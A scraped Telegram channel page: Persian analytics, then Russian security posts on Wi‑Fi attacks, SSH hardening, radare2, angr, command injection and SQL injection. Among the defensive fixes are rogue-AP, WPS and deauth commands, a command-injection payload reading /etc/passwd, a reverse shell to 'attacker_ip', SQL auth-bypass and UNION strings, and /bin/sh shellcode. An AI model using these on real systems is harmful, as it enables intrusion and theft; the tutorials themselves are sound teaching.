CodeGuard: CyberSec Edition
Канал по ИБ и этичному хакингу. Связь: @Arakcheev_Ruslan Ссылка: @invite_CodeGuard Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy
نمایش بیشتر📈 تحلیل کانال تلگرام CodeGuard: CyberSec Edition
کانال CodeGuard: CyberSec Edition بازیگری فعال است. در حال حاضر جامعه شامل 12 476 مشترک است و جایگاه 10 168 را در دسته فناوری و برنامهها و رتبه 52 930 را در منطقه روسيا دارد.
📊 شاخصهای مخاطب و پویایی
از زمان ایجاد در невідомо، پروژه رشد سریعی داشته و 12 476 مشترک جذب کرده است.
بر اساس آخرین دادهها در تاریخ 19 ژوئن, 2026، کانال فعالیت پایداری دارد. در ۳۰ روز گذشته تغییر اعضا برابر 493 و در ۲۴ ساعت گذشته برابر 23 بوده و همچنان دسترسی گستردهای حفظ شده است.
- وضعیت تأیید: تأیید نشده
- نرخ تعامل (ER): میانگین تعامل مخاطب 11.98% است و در ۲۴ ساعت نخست پس از انتشار، محتوا معمولاً 6.31% واکنش نسبت به کل مشترکان کسب میکند.
- دسترسی پستها: هر پست به طور میانگین 1 495 بازدید دریافت میکند. در اولین روز معمولاً 787 بازدید جمعآوری میشود.
- واکنشها و تعامل: مخاطبان بهطور فعال حمایت میکنند؛ میانگین واکنش به هر پست 3 است.
- علایق موضوعی: محتوا بر موضوعات کلیدی مانند codeguard, pysec, docker, grep, контейнер تمرکز دارد.
📝 توضیح و سیاست محتوایی
نویسنده این فضا را محل بیان دیدگاههای شخصی توصیف میکند:
“Канал по ИБ и этичному хакингу.
Связь: @Arakcheev_Ruslan
Ссылка: @invite_CodeGuard
Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy”
به لطف بهروزرسانیهای پرتکرار (آخرین داده در تاریخ 20 ژوئن, 2026)، کانال همواره بهروز و دارای دسترسی بالاست. تحلیلها نشان میدهد مخاطبان بهطور فعال با محتوا تعامل دارند و آن را به نقطه اثرگذاری مهم در دسته فناوری و برنامهها تبدیل کردهاند.
Whoisology - База данных по доменным записям с историей изменений. Помогает увидеть, как менялся владелец, контакт или хостинг за годы. BuiltWith - Анализирует технологии сайта: CMS, плагины, аналитика, SSL и многое другое. Отличный способ понять, на чём построен сайт и кто его обслуживает. SecurityTrails - Показывает DNS-записи, связанные домены и IP-адреса. Очень удобно для выявления всей сети ресурсов одной компании. URLScan - Сканирует сайт и показывает, к каким серверам идут запросы, какие скрипты использует страница и есть ли подозрительные элементы. Censys - Поисковая система по интернет-инфраструктуре: IP, сертификаты, порты, сервисы. Используется в разведке для нахождения уязвимых или связанных систем.⚙️ Любой сайт — это набор следов: домены, IP, SSL, код. И если знать, где смотреть, можно узнать гораздо больше, чем кажется. 😈 CyberSec Edition | Чат
# Типичный сетап злодея:
airbase-ng -e "McDonald's Free WiFi" -c 6 wlan0mon
Фикс (не подключайся автоматом):
Забудь про авто-подключение к открытым сетям. Вручную выбирай сеть, чье имя подтверждено. Используй VPN, если делаешь что-то важное.2️⃣ Перехват трафика в открытой сети (пассивный сниффинг) В открытой сети весь трафик идет как открытка. Злоумышленник в той же сети может его читать.
# Атакующий просто слушает:
sudo airodump-ng wlan0mon
# Или захватывает пакеты:
sudo tcpdump -i wlan0 -w capture.pcap
Какую хрень можно увидеть? Логины, пароли (если сайт без HTTPS), историю посещений.
Фикс:
Проверяй, чтобы сайт использовал HTTPS (замок в адресной строке). Никогда не вводи пароли на сайтах без HTTPS в публичном вайфае. Всегда используй VPN - он шифрует весь твой трафик.3️⃣ Атака на WPS (Wi-Fi Protected Setup) Многие домашние и некоторые публичные роутеры до сих пор имеют включенный WPS. Его PIN можно подобрать за часы.
# Инструмент для атаки:
reaver -i wlan0mon -b -vv
4️⃣ Деаутентификация (отключение клиентов от сети)
Атакующий отправляет фейковые пакеты, "выкидывая" устройства из сети. Пока ты пытаешься подключиться заново, он может перехватить хэндшейк.
aireplay-ng --deauth 10 -a -c wlan0mon
Бонус: быстрая проверка на своем ноуте
# На Linux посмотреть сохраненные сети: nmcli connection show # Удали подозрительные! nmcli connection delete "Starbucks_Free"
# На Windows (PowerShell):
netsh wlan show profiles
netsh wlan delete profile name="Free_WiFi_Airport"
Интересный факт:
Почти 70% публичных точек доступа в метро и торговых центрах не используют шифрование между клиентом и роутером. Твой трафик - как открытая книга.
😈 CyberSec Edition | Чат# Клиентский конфиг (~/.ssh/config) - алиасы на всё
Host vps
HostName 10.0.0.1
User root
Port 2222
IdentityFile ~/.ssh/id_ed25519
Host *.internal
ProxyJump jump-host
User dev
Серверный (/etc/ssh/sshd_config):
Port 2222 PermitRootLogin no PasswordAuthentication no PubkeyAuthentication yes MaxAuthTries 3 ClientAliveInterval 300 LogLevel VERBOSE2️⃣ Генерация ключей: от RSA до Ed25519 (безопасность > совместимость)
# Современный стандарт:
ssh-keygen -t ed25519 -C "key@$(hostname)"
# Легче, быстрее, безопаснее RSA 4096
# Для старых систем:
ssh-keygen -t rsa -b 4096 -o -a 100
# Копирование ключа без ssh-copy-id:
cat ~/.ssh/id_ed25519.pub | ssh user@host 'cat >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys'
3️⃣ Брутфорс защита: fail2ban за 3 минуты (90% атак отбиваются)
sudo apt install fail2ban
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
Добавляем jail для SSH:
[sshd] enabled = true port = ssh,2222 filter = sshd logpath = /var/log/auth.log maxretry = 3 bantime = 3600 findtime = 600
sudo systemctl restart fail2ban
sudo fail2ban-client status sshd
4️⃣ SSH-агент: не вводи пароль 100 раз за день
# Стартуем агент:
eval "$(ssh-agent -s)"
ssh-add ~/.ssh/id_ed25519
# Проверяем:
ssh-add -l
# Копируем ключ между сессиями (SSH_AUTH_SOCK):
# В ~/.bashrc:
export SSH_AUTH_SOCK="$HOME/.ssh/agent.sock"
alias ssh='ssh -A' # Forward agent
5️⃣ Проброс портов: тунели на максимум (локальный, удалённый, динамический)
# Локальный проброс (-L):
ssh -L 3306:localhost:3306 user@host # MySQL с удалёнки локально
# Удалённый проброс (-R):
ssh -R 8080:localhost:80 user@host # Доступ к вашему localhost с сервера
# SOCKS5 прокси (-D):
ssh -D 1080 user@host # Весь трафик через удалённый хост
# Сжатие + keepalive для медленных сетей:
ssh -C -o ServerAliveInterval=60 user@host
6️⃣ Конфиг для максимальной скорости (TCP оптимизация)
Host *
Compression yes
ServerAliveInterval 30
ServerAliveCountMax 3
TCPKeepAlive yes
ControlMaster auto
ControlPath ~/.ssh/sockets/%r@%h-%p
ControlPersist 4h
# Ускорение в 10 раз для множества соединений:
ssh -o ControlMaster=auto -S ~/.ssh/sockets/vps user@host
7️⃣ Команды одной строкой (часто забывают, но очень нужны)
# Копирование файлов:
scp -P 2222 -r ./local_dir user@host:/remote/path/
rsync -avz -e 'ssh -p 2222' src/ user@host:dst/
# Выполнение команд удалённо:
ssh user@host 'tar -czf - /path' | tar -xzf - -C ./backup
# Туннель для VNC/RDP через SSH:
ssh -L 5900:localhost:5900 user@host # VNC
ssh -L 3389:localhost:3389 user@host # RDP
😈 CyberSec Edition | Чат# Клиентский конфиг (~/.ssh/config) - алиасы на всё
Host vps
HostName 10.0.0.1
User root
Port 2222
IdentityFile ~/.ssh/id_ed25519
Host *.internal
ProxyJump jump-host
User dev
Серверный (/etc/ssh/sshd_config):
Port 2222 PermitRootLogin no PasswordAuthentication no PubkeyAuthentication yes MaxAuthTries 3 ClientAliveInterval 300 LogLevel VERBOSE2️⃣ Генерация ключей: от RSA до Ed25519 (безопасность > совместимость)
# Современный стандарт:
ssh-keygen -t ed25519 -C "key@$(hostname)"
# Легче, быстрее, безопаснее RSA 4096
# Для старых систем:
ssh-keygen -t rsa -b 4096 -o -a 100
# Копирование ключа без ssh-copy-id:
cat ~/.ssh/id_ed25519.pub | ssh user@host 'cat >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys'
3️⃣ Брутфорс защита: fail2ban за 3 минуты (90% атак отбиваются)
sudo apt install fail2ban
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
Добавляем jail для SSH:
[sshd] enabled = true port = ssh,2222 filter = sshd logpath = /var/log/auth.log maxretry = 3 bantime = 3600 findtime = 600
sudo systemctl restart fail2ban
sudo fail2ban-client status sshd
4️⃣ SSH-агент: не вводи пароль 100 раз за день
# Стартуем агент:
eval "$(ssh-agent -s)"
ssh-add ~/.ssh/id_ed25519
# Проверяем:
ssh-add -l
# Копируем ключ между сессиями (SSH_AUTH_SOCK):
# В ~/.bashrc:
export SSH_AUTH_SOCK="$HOME/.ssh/agent.sock"
alias ssh='ssh -A' # Forward agent
5️⃣ Проброс портов: тунели на максимум (локальный, удалённый, динамический)
# Локальный проброс (-L):
ssh -L 3306:localhost:3306 user@host # MySQL с удалёнки локально
# Удалённый проброс (-R):
ssh -R 8080:localhost:80 user@host # Доступ к вашему localhost с сервера
# SOCKS5 прокси (-D):
ssh -D 1080 user@host # Весь трафик через удалённый хост
# Сжатие + keepalive для медленных сетей:
ssh -C -o ServerAliveInterval=60 user@host
6️⃣ Конфиг для максимальной скорости (TCP оптимизация)
Host *
Compression yes
ServerAliveInterval 30
ServerAliveCountMax 3
TCPKeepAlive yes
ControlMaster auto
ControlPath ~/.ssh/sockets/%r@%h-%p
ControlPersist 4h
# Ускорение в 10 раз для множества соединений:
ssh -o ControlMaster=auto -S ~/.ssh/sockets/vps user@host
7️⃣ Команды одной строкой (часто забывают, но очень нужны)
# Копирование файлов:
scp -P 2222 -r ./local_dir user@host:/remote/path/
rsync -avz -e 'ssh -p 2222' src/ user@host:dst/
# Выполнение команд удалённо:
ssh user@host 'tar -czf - /path' | tar -xzf - -C ./backup
# Туннель для VNC/RDP через SSH:
ssh -L 5900:localhost:5900 user@host # VNC
ssh -L 3389:localhost:3389 user@host # RDP
😈 CyberSec Edition | Чат• Вайб-кодинг: автоматизация процессов без написания кода вручную. • Кейсы: как забирать senior-офферы и создавать контент-фермы с доходом от $3000. • Инструменты: промпты и нейросети, экономящие до 80% рабочего времени.Подписывайтесь на лучших экспертов прямо сейчас. Это сэкономит вам годы самостоятельного поиска и месяцы платного обучения.
ssh-keygen -t ed25519 -f ~/.ssh/email_bot -N ""
# Парольную фразу НЕ ставим, иначе автоматизация сломается
2️⃣ Копируем публичный ключ на сервер приложения
ssh-copy-id -i ~/.ssh/email_bot.pub user@app-server.com
3️⃣ На сервере: ограничиваем ключ только портом SMTP
В начале файла ~/.ssh/authorized_keys на сервере добавляем:
restrict,port-forwarding,command="echo 'Only port forwarding allowed'" ssh-ed25519 AAA...ваш_ключ... email_bot
Это запретит выполнение любых команд, кроме проброса портов.
4️⃣ Запуск туннеля с локальной машины
ssh -i ~/.ssh/email_bot -N -L 1025:localhost:25 user@app-server.com & # -N = без выполнения команд, -L = проброс портаТеперь локальный порт 1025 указывает на SMTP (порт 25) сервера приложения. 5️⃣ Настройка скрипта на сервере Вместо прямого подключения к внешнему SMTP, скрипт шлёт письма на localhost:1025 через туннель. Пример для Python:
import smtplib
server = smtplib.SMTP('localhost', 1025)
server.login('', '') # Аутентификация не нужна, она на стороне локальной машины
server.sendmail(...)
6️⃣ Где хранить реальные SMTP-креды?
Только на вашей локальной машине! Настройте Postfix или другой MTA локально, чтобы он использовал ваш email-аккаунт как релей.
Пример настройки Postfix для Gmail:
relayhost = [smtp.gmail.com]:587 smtp_sasl_auth_enable = yes smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd smtp_tls_security_level = encrypt✅Автозапуск туннеля Добавьте в crontab (
crontab -e) локальной машины:
@reboot ssh -i /home/user/.ssh/email_bot -N -L 1025:localhost:25 user@app-server.com &💥 Итог: пароли от почты только у вас, скрипт на сервере думает, что шлёт локально. Безопасно и автоматизировано. 😈 CyberSec Edition | Чат
# 1. Открыть файл в интерактивном режиме
r2 -A ./target_binary
# 2. Внутри r2: вывести информацию о файле (как SHOW TABLES)
i
# 3. Список всех функций (главная таблица проекта)
afl
# 4. Проанализировать конкретную функцию sym.main (как SELECT * FROM functions WHERE name='main')
pdf @sym.main
# 5. Поиск всех строк в бинарнике (поиск по "строковым" данным)
iz
# или поиск строк, содержащих определённый паттерн
/i passw
Флаг -A выполняет автоматический анализ (aaa) при загрузке.
3️⃣Выводы radare2 в реале
[0x00401000]> afl 0x00401000 1 42 entry0 0x00401030 4 41 sym.deregister_tm_clones 0x00401060 4 57 sym.register_tm_clones 0x004010a0 3 33 sym.__do_global_dtors_aux 0x004010d0 1 6 entry.init0 0x00401100 1 112 sym.main ← Вот наша цель!4️⃣Продвинутые фишки
# Работа с проектами (сохранить/загрузить БД анализа) Ps my_project # Сохранить проект Po my_project # Открыть проект # Визуализация графа потока управления функции (V!) VV @sym.main # Поиск ROP-гаджетов (поиск специфичных "записей" в коде) /R pop # Сравнение двух функций или бинарников (дифф "таблиц") radiff2 binary1 binary25️⃣Нюансы
🔸Файлы проектов (.r2) хранят весь анализ, не нужно переделывать. 🔸 aaa - базовый анализ; aaaa - глубокий рекурсивный анализ. 🔸 Используй псевдонимы и скрипты (~/.radare2rc) для своих "запросов". 🔸 Визуальный режим (V) - твой лучший друг для навигации по "схеме данных" программы.🧠 Где тренироваться: Crackmes.one, реверс-таски с CTF (picoCTF, OverTheWire), свои скомпилированные программы. Полезно? ❤️ - Да 👍 - Нет 😈 CyberSec Edition | Чат
os.system() или subprocess.Popen(), когда надо быстро позвать системную утилиту. Но забывают, что пользовательский ввод нельзя просто так подставлять в консоль. Врывается злоумышленник и исполняет свои команды на сервере. Сегодня разберем, как это происходит и как заткнуть дыру.
Основные сценарии внедрения команд
🔵 Прямая подстановка в shell: если приложение конкатенирует ввод с командой, любой может добавить ;, &&, | и выполнить свой код.
🔵 Обход фильтров: даже если пытаются вырезать опасные символы, бывают обходы через кодировку или подстановку переменных окружения.
🔵 Слепое внедрение (Blind): атакующий не видит вывод команды, но может определить успех по времени ответа или косвенным признакам (ping, sleep).
Пример уязвимого приложения (Python)
Допустим, у вас есть веб-сервис для проверки доступности хоста:
import subprocess
import sys
host = input("Введите IP или домен для ping: ")
# ⚠️ КРИТИЧЕСКАЯ ОШИБКА: пользовательский ввод идет прямо в shell=True
result = subprocess.Popen(f"ping -c 1 {host}", shell=True, stdout=subprocess.PIPE)
output = result.communicate()[0]
print(output.decode())
Атака
Злоумышленник вместо хоста вводит:
127.0.0.1; cat /etc/passwd
Итоговая команда:
ping -c 1 127.0.0.1; cat /etc/passwd
Система выполнит сначала ping, а потом выведет содержимое файла с паролями. Если веб-приложение показывает вывод, данные утекли. Если нет — можно настроить обратный шелл:
127.0.0.1; bash -i >& /dev/tcp/attacker_ip/4444 0>&1
Как защититься (не будь лохом)
✅ Никогда не используй shell=True с непроверенными данными. Передавай аргументы списком:
subprocess.Popen(["ping", "-c", "1", host], shell=False)
Так команда и её аргументы четко разделены, и внедрение невозможно.
✅ Экранируй аргументы, если без shell не обойтись (например, когда нужны пайпы или переменные оболочки). Используй shlex.quote():
import shlex
safe_host = shlex.quote(host)
subprocess.Popen(f"ping -c 1 {safe_host}", shell=True)
✅ Валидация ввода: разрешай только IP-адреса или имена хостов по белому списку (регулярки, проверка на IP).
✅ Ограничивай права пользователя, от которого запускается приложение — никакого root!
✅ Если нужна только сетевая проверка, используй встроенные библиотеки (например, socket или icmplib), а не вызов внешних утилит.
Вывод
Command Injection — это не баг, а закладка на будущее кладбище твоего сервера. Правило простое: никогда не смешивай код и данные. Всегда используй списки аргументов или строжайшее экранирование.
Понял, как взламывают пинговалки?
❤️ — Да
👍 — Нет
😈 CyberSec Edition | Чат# 1. Установка и базовый импорт
pip install angr
from angr import Project, load_shellcode
# 2. Загрузка шеллкода (например, классический /bin/sh)
shellcode_bytes = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
proj = load_shellcode(shellcode_bytes, arch='AMD64', start_offset=0)
# 3. Построение CFG для понимания структуры
cfg = proj.analyses.CFGFast()
# 4. Символьное исполнение для поиска интересных состояний (например, вызов execve)
state = proj.factory.entry_state()
simgr = proj.factory.simulation_manager(state)
simgr.explore(find=lambda s: b"/bin/sh" in s.posix.dumps(1)) # Ищем состояние, где выводится строка
# 5. Анализ найденного состояния
if simgr.found:
found_state = simgr.found[0]
print(f"Найден syscall: {found_state.regs.rax}") # Смотрим номер системного вызова
3️⃣Выводы angr-shellcode в реале
[INFO] Loaded 23 bytes of shellcode [INFO] Identified architecture: AMD64 [INFO] CFG contains 5 nodes (basic blocks) [INFO] Symbolic execution found state triggering execve at address 0x400010 ← Вот точка вызова!4️⃣Продвинутые фишки
# Анализ обфусцированного шеллкода (XOR-шифрование)
import claripy
encrypted_sc = b"..."
key = claripy.BVS('key', 8)
decrypted = claripy.If(encrypted_sc ^ key == expected_byte, ...) # Символически подбираем ключ
# Поиск конкретных инструкций (например, int 0x80 / syscall)
from capstone import *
md = Cs(CS_ARCH_X86, CS_MODE_64)
for i in md.disasm(shellcode_bytes, 0x0):
if i.mnemonic == 'syscall':
print(f"Syscall at offset: {hex(i.address)}")
# Интеграция с другими инструментами (например, для дампа памяти)
state.memory.store(0x600000, shellcode_bytes) # Загружаем шеллкод в конкретный адрес для анализа
5️⃣Нюансы
🔸Анализируй только свой код или имея явное разрешение! 🔸 Архитектура (arch='AMD64', 'X86', 'ARM') должна быть указана верно. 🔸 Шеллкод может быть position-dependent (зависит от адреса загрузки). 🔸 Символьное исполнение ресурсоёмко для длинного кода - ограничивай глубину (simgr.explore(n=100)).🧠 Где тренироваться: Shell-Storm, Exploit-DB, собственные CTF-таски, курсы по реверс-инжинирингу. Полезно? ❤️ — Да 👍 — Нет 😈 CodeGuard | Chat
Tempesta приветствует всех на своем канале, посвященном изучению ассемблера в различных областях. Хакер и программист на ассемблере со стажем свыше 20 лет. Автор статей и лекций пропагандирующих ассемблер и его разновидность masm32. Лекции канала предназначены как для полностью начинающих с нуля, так и для тех, кто имеет более продвинутый уровень программирования в ассемблере.📱 Видео на YouTube 😈 CodeGuard | Chat
▶️ ls -la - посмотреть все файлы, даже скрытые ▶️ cd /home/user - перейти в папку ▶️ pwd - где я, блять? ▶️ cp file1 file2 - копировать файл ▶️ mv old new - переместить или переименовать ▶️ rm -rf / - шутка, не делай этого📁 Работа с файлами и правами:
cat file.txt - показать содержимое
nano file.txt - редактировать (или vim, если мазохист)
chmod 755 script.sh - дать права на выполнение
chown user:group file - сменить владельца
🔍 Поиск и процессор:
grep "текст" file.txt - найти строки
find / -name "*.log" - найти все лог-файлы
ps aux | grep nginx - найти процесс
kill -9 PID - убить процесс нахуй
🌐 Сеть и интернет:
ping google.com - проверить связь curl ifconfig.me - узнать свой IP ssh user@server - подключиться по SSH scp file.txt user@server:/path - скопировать файл на сервер😈 CyberSec Edition | Чат
Автор приводит читателей к пониманию того, как именно работают угрозы в сети и предлагает комплексный подход к защите личной и корпоративной информации.👩💻 Кликай и качай 😈 CyberSec Edition | Чат
🔵Классическая (UNION-based): Использует оператор UNION для объединения результатов легитимного запроса с данными из других таблиц. Цель - извлечение информации. 🔵Слепая (Blind): Приложение не возвращает данные запроса напрямую, но атакующий может делать выводы по поведению приложения (времени ответа или разным сообщениям об ошибке). 🔵Ошибко-ориентированная (Error-based): Злоумышленник намеренно вызывает ошибки SQL, чтобы приложение вернуло в ответе полезную для атаки отладочную информацию. 🔵Внеполосная (Out-of-band): Данные извлекаются не через HTTP-ответ, а через другие каналы (DNS-запросы, HTTP-запросы на сервер атакующего).Базовый сценарий: Уязвимое приложение на Python Представьте, что у вас есть простой скрипт для аутентификации пользователя, который формирует SQL-запрос напрямую из пользовательского ввода. 1️⃣Уязвимый код Это классический пример, который открывает дверь для инъекции.
import sqlite3
username = input("Введите логин: ")
password = input("Введите пароль: ")
# ⚠️ КРИТИЧЕСКАЯ УЯЗВИМОСТЬ: данные подставляются напрямую в строку запроса!
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
conn = sqlite3.connect('app.db')
cursor = conn.cursor()
cursor.execute(query) # Здесь произойдет инъекция
result = cursor.fetchone()
2️⃣ Пример атаки
Вместо логина злоумышленник может ввести специально сформированную строку, которая изменит логику запроса.
Логин: admin'-- Пароль: (любой или пусто)Это превратит исходный запрос в:
SELECT * FROM users WHERE username = 'admin'--' AND password = ''
Символы -- в SQL означают комментарий, поэтому условие проверки пароля игнорируется. Атакующий входит как admin без знания пароля.
3️⃣ Более опасная атака
Можно пойти дальше и использовать оператор UNION для кражи данных из других таблиц.
Логин: ' UNION SELECT username, password FROM admins--
Пароль: x
Вывод: Прямая конкатенация пользовательского ввода в SQL-запрос - это гарантированная уязвимость, которая ставит под угрозу всю базу данных.
Как работают основные методы защиты:
🔵Использование параметризованных запросов (Prepared Statements): Самый надежный метод. Данные пользователя передаются отдельно от команды SQL и никогда не интерпретируются как ее часть. 🔵Экранирование (Escaping): Специальные символы в пользовательском вводе преобразуются в безопасные последовательности. Менее надежно, чем параметризованные запросы. 🔵Валидация и санитизация ввода: Проверка данных на соответствие ожидаемому формату (например, только цифры для ID). Дополнительный, но не основной слой защиты. 🔵ORM (Object-Relational Mapping): Библиотеки вроде SQLAlchemy или Django ORM по умолчанию используют параметризованные запросы, что сводит риск к минимуму.Защита: Как исправить уязвимый код?
🔴Всегда используйте параметризованные запросы. Это правило №1. 🔴Никогда не доверяйте пользовательскому вводу. Считайте весь ввод потенциально враждебным. 🔴Применяйте принцип минимальных привилегий. У учетной записи приложения в БД не должно быть прав на DROP или произвольное изменение схемы. 🔴Используйте готовые фреймворки и ORM, которые реализуют безопасные практики по умолчанию. 🔴Регулярно проводите аудит безопасности кода и используйте сканеры уязвимостей (например, SQLMap для тестирования).😈 CyberSec Edition | Чат
Loading … ██████████████] 99%Роскомнадзору дали карт-бланш на блокировки, а «белые списки» сайтов тестируют уже в десятках регионов. И гайки будут закручиваться только сильнее. Чтобы в одночасье не лишиться доступа к свободному Интернету, просто сохрани Only Hack. Тут профессиональный хакер делится фишками, с которыми доступ к глобальной сети у тебя будет даже в случае ядерного апокалипсиса. Не жди момента «Х». Перестрахуйся подпиской.
اکنون در دسترس! پژوهش تلگرام ۲۰۲۵ — مهمترین بینشهای سال 
